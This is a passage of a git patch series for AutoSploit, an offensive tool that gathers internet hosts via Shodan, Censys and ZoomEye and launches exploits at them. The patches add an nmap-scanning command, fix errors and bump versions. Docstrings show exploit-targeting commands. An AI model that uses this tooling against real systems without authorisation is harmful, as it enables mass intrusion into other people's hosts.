if not skip: current_host_path = path.join(current_run_path, host.strip()) - makedirs(current_host_path) + try: + makedirs(current_host_path) + except OSError: + pass for mod in self.mods: if not self.dry_run: From c8979aa3898246ecc0da4c8e1d29c17dc9f3ff83 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Tue, 3 Sep 2019 16:36:46 -0500 Subject: [PATCH 72/77] fix for issue #1150 --- lib/term/terminal.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 64d0cd8..d95fd32 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -187,6 +187,12 @@ def do_token_reset(self, api, token, username): Censys -> reset/tokens censys Shodan -> reset.tokens shodan """ + import sys + + if sys.version_info > (3,): + token = token.encode("utf-8") + username = username.encode("utf-8") + if api.lower() == "censys": lib.output.info("resetting censys API credentials") with open(lib.settings.API_KEYS["censys"][0], 'w') as token_: From 40d1bbd63a6535c7d6ecedf47e3d94dd50c833f6 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Tue, 3 Sep 2019 16:39:05 -0500 Subject: [PATCH 73/77] fix for issue #1159 --- lib/term/terminal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index d95fd32..ce7f232 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -66,7 +66,7 @@ def __init__(self, tokens, modules): self.modules = modules try: self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() - except IOError: + except (IOError, Exception): lib.output.warning("no hosts file present") self.loaded_hosts = open(lib.settings.HOST_FILE, "a+").readlines() From 5d9446a00b50e5bcaf1a58f61cfbb8a65ea343bd Mon Sep 17 00:00:00 2001 From: Ekultek Date: Tue, 3 Sep 2019 16:40:42 -0500 Subject: [PATCH 74/77] bumps version number --- lib/banner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/banner.py b/lib/banner.py index bb272a2..2588164 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.1.4" +VERSION = "3.1.5" def banner_1(line_sep="#--", space=" " * 30): From db6494f96951526d6e8a72a7e15d762720f9c4ff Mon Sep 17 00:00:00 2001 From: Ekultek Date: Wed, 4 Sep 2019 13:48:09 -0500 Subject: [PATCH 75/77] implements nmap scanning into autosploit, also fix issues #1163 --- README.md | 2 +- autosploit/main.py | 3 +- .../{nmap_options.lst => nmap_opts.lst} | 3 +- lib/banner.py | 2 +- lib/scanner/nmap.py | 59 ++++++-- lib/settings.py | 11 +- lib/term/terminal.py | 129 +++++++++++++++++- 7 files changed, 182 insertions(+), 27 deletions(-) rename etc/text_files/{nmap_options.lst => nmap_opts.lst} (98%) diff --git a/README.md b/README.md index ea1843d..cebae41 100644 --- a/README.md +++ b/README.md @@ -185,7 +185,7 @@ If you would like to contribute to the development of this project please be sur Please, also, be sure to read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) before sending pull requests -If you need some help understanding the code, or want to chat with some other AutoSploit community members, feel free to join our [Discord server](https://discord.gg/9BeeZQk). +If you need some help understanding the code, or want to chat with some other AutoSploit community members, feel free to join our [Discord server](https://discord.gg/DZe4zr2). ### Note diff --git a/autosploit/main.py b/autosploit/main.py index b72d1a5..6926a9c 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -132,4 +132,5 @@ def main(): error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") error_file = save_error_to_file(str(error_traceback), str(e), error_class) - request_issue_creation(error_file, hide_sensitive(), str(e)) + print error_traceback + # request_issue_creation(error_file, hide_sensitive(), str(e)) diff --git a/etc/text_files/nmap_options.lst b/etc/text_files/nmap_opts.lst similarity index 98% rename from etc/text_files/nmap_options.lst rename to etc/text_files/nmap_opts.lst index 4456386..818bc5e 100644 --- a/etc/text_files/nmap_options.lst +++ b/etc/text_files/nmap_opts.lst @@ -104,5 +104,4 @@ --datadir --send-eth/--send-ip --privileged ---unprivileged --V \ No newline at end of file +--unprivileged \ No newline at end of file diff --git a/lib/banner.py b/lib/banner.py index 2588164..bb59e3e 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.1.5" +VERSION = "4.0" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/scanner/nmap.py b/lib/scanner/nmap.py index 3daab79..71187f7 100644 --- a/lib/scanner/nmap.py +++ b/lib/scanner/nmap.py @@ -49,7 +49,7 @@ """ import os -import shlex +import json import subprocess from xml.etree import ElementTree @@ -60,18 +60,51 @@ import lib.settings -def write_xml_data(host, output): - if not os.path.exists(lib.settings.NMAP_XML_OUTPUT_BACKUP): - os.makedirs(lib.settings.NMAP_XML_OUTPUT_BACKUP) - file_path = "{}/{}_{}.xml".format( - lib.settings.NMAP_XML_OUTPUT_BACKUP, str(host), lib.jsonize.random_file_name(length=10) +def parse_nmap_args(args): + """ + parse the provided arguments and ask if they aren't in the `known` arguments list + """ + runnable_args = [] + known_args = [a.strip() for a in open(lib.settings.NMAP_OPTIONS_PATH).readlines()] + for arg in args: + if " " in arg: + tmparg = arg.split(" ")[0] + else: + tmparg = arg + if tmparg in known_args: + runnable_args.append(arg) + else: + choice = lib.output.prompt( + "argument: '{}' is not in the list of 'known' nmap arguments, " + "do you want to use it anyways[y/N]".format(arg) + ) + if choice.lower() == "y": + runnable_args.append(tmparg) + return runnable_args + + +def write_data(host, output, is_xml=True): + """ + dump XML data to a file + """ + if not os.path.exists(lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP): + os.makedirs(lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP) + file_path = "{}/{}_{}.{}".format( + lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP, + str(host), lib.jsonize.random_file_name(length=10), "xml" if is_xml else "json" ) with open(file_path, 'a+') as results: - results.write(output) + if is_xml: + results.write(output) + else: + json.dump(output, results, indent=4) return file_path def find_nmap(search_paths): + """ + check if nmap is on the system + """ for path in search_paths: try: _ = subprocess.Popen([path, '-V'], bufsize=10000, stdout=subprocess.PIPE, close_fds=True) @@ -83,13 +116,15 @@ def find_nmap(search_paths): def do_scan(host, nmap_path, ports=None, arguments=None): + """ + perform the nmap scan + """ if arguments is None: arguments = "-sV" - arguments_list = shlex.split(arguments) launch_arguments = [ nmap_path, '-oX', '-', host, '-p ' + ports if ports is not None else "", - ] + arguments_list + ] + arguments to_launch = [] for item in launch_arguments: if not item == "": @@ -111,12 +146,14 @@ def do_scan(host, nmap_path, ports=None, arguments=None): nmap_warn_tracestack.append(line + os.linesep) else: nmap_error_tracestack.append(line + os.linesep) - path = write_xml_data(host, output_data) - lib.output.misc_info("a copy of the output has been saved to: {}".format(path)) + write_data(host, output_data, is_xml=True) return output_data, "".join(nmap_warn_tracestack), "".join(nmap_error_tracestack) def parse_xml_output(output, warnings, error): + """ + parse the XML data out of the file into a dict + """ results = {} try: root = ElementTree.fromstring(output) diff --git a/lib/settings.py b/lib/settings.py index 4b6666a..d4eacbf 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -72,14 +72,17 @@ def complete_text(self, text, state): # autosploit command history file path HISTORY_FILE_PATH = "{}/.history".format(HOME) -# we'll save the scans output for future use -NMAP_XML_OUTPUT_BACKUP = "{}/nmap_scans".format(HOME) +# we'll save the scans xml output for future use +NMAP_XML_OUTPUT_BACKUP = "{}/nmap_scans/xml".format(HOME) + +# we'll dump the generated dict data into JSON and save it into a file +NMAP_JSON_OUTPUT_BACKUP = "{}/nmap_scans/json".format(HOME) # regex to discover errors or warnings NMAP_ERROR_REGEX_WARNING = re.compile("^warning: .*", re.IGNORECASE) # possible options in nmap -NMAP_OPTIONS_PATH = "{}/etc_text_files/nmap_opts.lst".format(CUR_DIR) +NMAP_OPTIONS_PATH = "{}/etc/text_files/nmap_opts.lst".format(CUR_DIR) # possible paths for nmap NMAP_POSSIBLE_PATHS = ( @@ -321,7 +324,7 @@ def cmdline(command, is_msf=True): else: print("{}".format(stdout_line).rstrip()) except OSError as e: - stdout_buff += "ERROR: " + e + stdout_buff += "ERROR: " + str(e) return stdout_buff diff --git a/lib/term/terminal.py b/lib/term/terminal.py index ce7f232..3a54bc9 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -1,4 +1,5 @@ import os +import json import datetime import lib.banner @@ -48,7 +49,9 @@ class object for the main terminal of the program # clean the hosts file of duplicate IP's "clean", "clear", # easter eggs! - "idkwhatimdoing", "ethics", "skid" + "idkwhatimdoing", "ethics", "skid", + # nmap arguments + "nmap", "mapper", "mappy" ] external_terminal_commands = lib.settings.load_external_commands() api_call_pointers = { @@ -216,9 +219,14 @@ def do_api_search(self, requested_api_data, query, tokens): :param query: the query to be searched :param tokens: an argument dict that will contain the token information + Command Format: + -------------- + search[/api/gather] API_NAME[API_NAME,...](shodan,censys,zoomeye) QUERY + Examples: --------- - search/api/gather shodan[,censys[,zoomeye]] windows 10 + search shodan,censys,zoomeye windows 10 + search shodan windows 7 """ acceptable_api_names = ("shodan", "censys", "zoomeye") api_checker = lambda l: all(i.lower() in acceptable_api_names for i in l) @@ -320,9 +328,13 @@ def do_add_single_host(self, ip): ----------- :param ip: IP address to be added + Command Format: + -------------- + single IP[,IP,IP,IP,IP,...] + Examples: --------- - single 89.76.12.124[,89.76.12.43,89.90.65.78,...] + single 89.76.12.124,89.76.12.43 """ for item in ip.split(","): validated_ip = lib.settings.validate_ip_addr(item) @@ -357,9 +369,13 @@ def do_exploit_targets(self, workspace_info, shodan_token=None): ----------- :param workspace_info: a tuple of workspace information + Command Format: + -------------- + exploit[/run/attack] IP PORT WORKSPACE_NAME [whitewash list] + Examples: --------- - exploit/run/attack 127.0.0.1 9065 default [whitewash list] + exploit 127.0.0.1 9065 default whitelist.txt """ if workspace_info[3] is not None and workspace_info[3] != "honeycheck": lib.output.misc_info("doing whitewash on hosts file") @@ -420,9 +436,13 @@ def do_load_custom_hosts(self, file_path): ----------- :param file_path: the full path to the loadable hosts file + Command Format: + -------------- + custom[/personal] FILE_PATH + Examples: --------- - custom/personal /some/path/to/myfile.txt + custom /some/path/to/myfile.txt """ import shutil @@ -437,7 +457,57 @@ def do_load_custom_hosts(self, file_path): lib.output.info("host file replaced, backup stored under '{}'".format(backup_path)) self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() + def do_nmap_scan(self, target, arguments): + """ + Explanation: + ----------- + Perform a nmap scan on a provided target, given that nmap is on your system. + If nmap is not on your system, this will not work, you may also provide + arguments known to nmap. + + Parameters: + ---------- + :param target: the target to attack + :param arguments: a string of arguments separated by a comma + + Command Format: + -------------- + nmap[/mapper/mappy] TARGET [ARGUMENTS] + + Examples: + -------- + nmap/mapper/mappy 10.0.1.1 -sV,--dns-servers 1.1.1.1,--reason,-A + nmap 10.0.1.1/24 + """ + import lib.scanner.nmap + + sep = "-" * 30 + if arguments is not None: + arguments = arguments.split(",") + passable_arguments = lib.scanner.nmap.parse_nmap_args(arguments) + else: + passable_arguments = None + try: + nmap_path = lib.scanner.nmap.find_nmap(lib.settings.NMAP_POSSIBLE_PATHS) + except lib.errors.NmapNotFoundException: + nmap_path = None + lib.output.error("nmap was not found on your system please install nmap first") + return + lib.output.info("performing nmap scan on {}".format(target)) + try: + output, warnings, errors = lib.scanner.nmap.do_scan(target, nmap_path, arguments=passable_arguments) + formatted_results_output = lib.scanner.nmap.parse_xml_output(output, warnings, errors) + save_file = lib.scanner.nmap.write_data(target, formatted_results_output, is_xml=False) + lib.output.misc_info("JSON data dumped to file: '{}'".format(save_file)) + print("{sep}\n{data}\n{sep}".format( + data=json.dumps(formatted_results_output["nmap_scan"][target], indent=4), sep=sep + )) + except lib.errors.NmapScannerError as e: + lib.output.error(str(e).strip()) + def terminal_main_display(self, tokens, extra_commands=None, save_history=True): + # idk what the fuck the problem is but this seems to fix it so... + import lib.output """ terminal main display """ @@ -502,7 +572,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): self.do_quit_terminal(save_history=save_history) elif any(c in choice for c in ("view", "show")): self.do_view_gathered() - elif any(c in choice for c in ("ver", "version")): + elif any(c in choice for c in ("version",)): self.do_show_version_number() elif any(c in choice for c in ("clean", "clear")): self.do_clean_hosts() @@ -625,9 +695,54 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): self.do_token_reset(api, token, username) else: lib.output.error("cannot reset {} API credentials".format(choice)) + elif any(c in choice for c in ["nmap", "mapper", "mappy"]): + try: + if "help" in choice_data_list: + print(self.do_nmap_scan.__doc__) + except TypeError: + pass + target = choice_data_list[1] + try: + arguments = choice_data_list[2] + lib.output.warning( + "arguments that have a space in them most likely will not be processed correctly, " + "(IE --dns-servers 1.1.1.1 will most likely cause issues)" + ) + except IndexError: + arguments = None + # don't know how im going to implement ports yet + # try: + # ports = choice_data_list[3] + # except IndexError: + # ports = None + + self.do_nmap_scan(target, arguments) self.history.append(choice) self.__reload() except KeyboardInterrupt: lib.output.warning("use the `exit/quit` command to end terminal session") except IndexError: - pass \ No newline at end of file + pass + except Exception as e: + global stop_animation + + stop_animation = True + + import sys + import traceback + import lib.creation.issue_creator + + print( + "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " + "in order for the developers to troubleshoot and repair the " + "issue AutoSploit will need to gather your OS information, " + "current arguments, the error message, and a traceback. " + "None of this information can be used to identify you in any way\033[0m".format(str(e)) + ) + error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) + error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") + error_file = lib.settings.save_error_to_file(str(error_traceback), str(e), error_class) + lib.creation.issue_creator.request_issue_creation(error_file, lib.creation.issue_creator.hide_sensitive(), str(e)) + lib.output.info("continuing terminal session") + # this way if you're in the terminal already we won't quit out of it + continue From a3ff69d8be3b047352c9ce3f46ec88c8bceb8131 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Wed, 4 Sep 2019 13:55:54 -0500 Subject: [PATCH 76/77] minor update to fix a crash --- lib/term/terminal.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 3a54bc9..a320dc3 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -715,8 +715,8 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): # ports = choice_data_list[3] # except IndexError: # ports = None - - self.do_nmap_scan(target, arguments) + if "help" not in choice_data_list: + self.do_nmap_scan(target, arguments) self.history.append(choice) self.__reload() except KeyboardInterrupt: From c0bd97500fd39582eaafbd832b303d5412fafcc3 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 12 Mar 2020 17:19:17 +0000 Subject: [PATCH 77/77] Bump psutil from 5.3.0 to 5.6.6 Bumps [psutil](https://github.com/giampaolo/psutil) from 5.3.0 to 5.6.6. - [Release notes](https://github.com/giampaolo/psutil/releases) - [Changelog](https://github.com/giampaolo/psutil/blob/master/HISTORY.rst) - [Commits](https://github.com/giampaolo/psutil/compare/release-5.3.0...release-5.6.6) Signed-off-by: dependabot[bot] --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 1e5930f..cf0f582 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,3 @@ requests==2.20.0 -psutil==5.3.0 +psutil==5.6.6 beautifulsoup4==4.6.3